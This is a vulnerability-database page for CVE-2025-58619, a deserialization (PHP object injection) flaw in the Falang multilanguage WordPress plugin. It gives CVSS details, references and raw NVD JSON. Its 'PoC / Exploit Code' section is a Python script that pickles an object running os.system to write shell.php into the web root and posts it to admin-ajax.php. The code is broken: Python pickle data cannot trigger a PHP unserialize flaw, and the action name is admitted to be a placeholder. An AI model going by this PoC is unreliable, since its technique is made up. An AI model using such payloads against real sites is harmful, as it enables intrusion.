CVE-2025-58619

Description

Deserialization of Untrusted Data vulnerability in sbouey Falang multilanguage falang allows Object Injection.This issue affects Falang multilanguage: from n/a through <= 1.3.65.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Falang multilanguage <= 1.3.65

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import base64

# CVE-2025-58619 PoC - Falang Plugin Object Injection
# Target: WordPress site with Falang multilanguage plugin <= 1.3.65

target_url = "http://target-wordpress-site.com"

# Construct malicious serialized payload
# Using a simple example that triggers __destruct() or __wakeup()
class MaliciousObject:
    def __reduce__(self):
        # This will execute system command when unserialized
        cmd = "echo 'hacked' > /var/www/html/shell.php"
        return (eval, (f"__import__('os').system('{cmd}')",))

# Serialize the malicious object
import pickle
import urllib.parse

payload = pickle.dumps(MaliciousObject())
encoded_payload = base64.b64encode(payload).decode()

# Send the malicious payload to the vulnerable endpoint
vulnerable_endpoint = f"{target_url}/wp-admin/admin-ajax.php"

data = {
    'action': 'falang_update',  # Example action name
    'data': encoded_payload,
    'language': 'en'
}

print(f"[*] Sending payload to {vulnerable_endpoint}")
print(f"[*] Payload length: {len(encoded_payload)}")

try:
    response = requests.post(vulnerable_endpoint, data=data, timeout=10)
    print(f"[*] Response status: {response.status_code}")
    print(f"[*] Response: {response.text[:500]}")
except requests.exceptions.RequestException as e:
    print(f"[!] Request failed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58619
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58619
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58619/
[4] VulDB https://vuldb.com/cve/CVE-2025-58619
[5] https://patchstack.com/database/Wordpress/Plugin/falang/vulnerability/wordpress-falang-multilanguage-plugin-1-3-65-php-object-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-58619", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:59.400", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in sbouey Falang multilanguage falang allows Object Injection.This issue affects Falang multilanguage: from n/a through <= 1.3.65."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/falang/vulnerability/wordpress-falang-multilanguage-plugin-1-3-65-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}